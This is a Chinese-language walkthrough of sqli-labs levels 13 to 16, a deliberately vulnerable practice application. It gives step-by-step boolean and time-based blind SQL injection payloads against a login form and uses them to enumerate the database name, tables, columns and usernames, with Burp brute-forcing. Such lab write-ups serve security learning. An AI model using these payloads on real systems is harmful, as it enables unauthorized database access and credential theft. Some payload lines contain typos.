sql-lab闯关之13-16

丶灬走出姿态 提交于 2020-03-01 22:02:48

LESS13
 通过尝试我们发现,在13关没有像12关那种回显,只有登陆成功与否的显示。
12关的回显

 

 13关登录成功提示

 

 紧接着还是通过burp拿到数据包,这次我就不演示了。
uname=admin'&passwd=admin&submit=Submit
接下来我们构造注入语句
我们通过这几种判断参数格式

’)
’))

”)
”))
输入:uname=n') or 1=1#&passwd=admin&submit=Submit
我们可以看到登陆成功了(我就不一一测试了)   格式就是第二种

 

接下来我们通过猜列数
输入:uname=n') order by 2#&passwd=admin&submit=Submit

 

 


 因为没有回显,我们考虑使用布尔盲注或者时间盲注。
 
输入:uname=n') or if(length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit
这个语句使用了 if 和length函数,前面的文章有讲过如何使用。
以此判断数据库名的长度。如果数据库名字长度为8则很快加载完毕,否则加载5s 可以更改 > < 通过2分法判断,这里我直接演示,不浪费时间了就。
可以看到成功了 根据返回时间判断数据库名字长度为8

 

 接下来我们使用left函数猜测数据库名字具体为什么。
输入:uname=n') or left(database(),1)='a'#&passwd=admin&submit=Submit
这里我猜测第一个字母为a 显示失败  我们可以更改数字1 来猜测不同位置的字母。
剩下我就省略了 数据库名字为 security
注意: 我们可以不用= 也可以用 > 例如我们猜测>a 如果返回1 则第一个字母比a 大 就是a 后面的字母

 

 查表:
输入:uname=n') or left((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),1)='e'#&passwd=admin&submit=Submit

 

 

 

 在mysql 命令行中我们进入security中第一个表就是emails 所以猜测显示成功。

这种方法就是比较慢。推荐使用burp暴力破解。
通过burp抓包发送到暴力破解模块,清除后 然后选中a 包裹添加,开始暴力破解。

 

 

 

 开始暴力破解、 通过返回数据长度即可判断正确的数据

LESS14
14关和13关完全相同,只是数据包裹的格式变为“”,步骤完全相同,参考上面

LESS15

15关也和前两关相同,只是数据包裹的格式变为‘’,步骤完全相同,参考上面

这写下步骤代码(其实和上面一样):

1. uname=admin&passwd=a“&submit=Submit 构造:1‘ or 1=1# 在这里判断列数没有实际意义了

2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度

3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit

4. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a

5. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g

6. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询


LESS16

16关也和前两关相同,只是数据包裹的格式变为(“”),步骤完全相同,参考上面

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!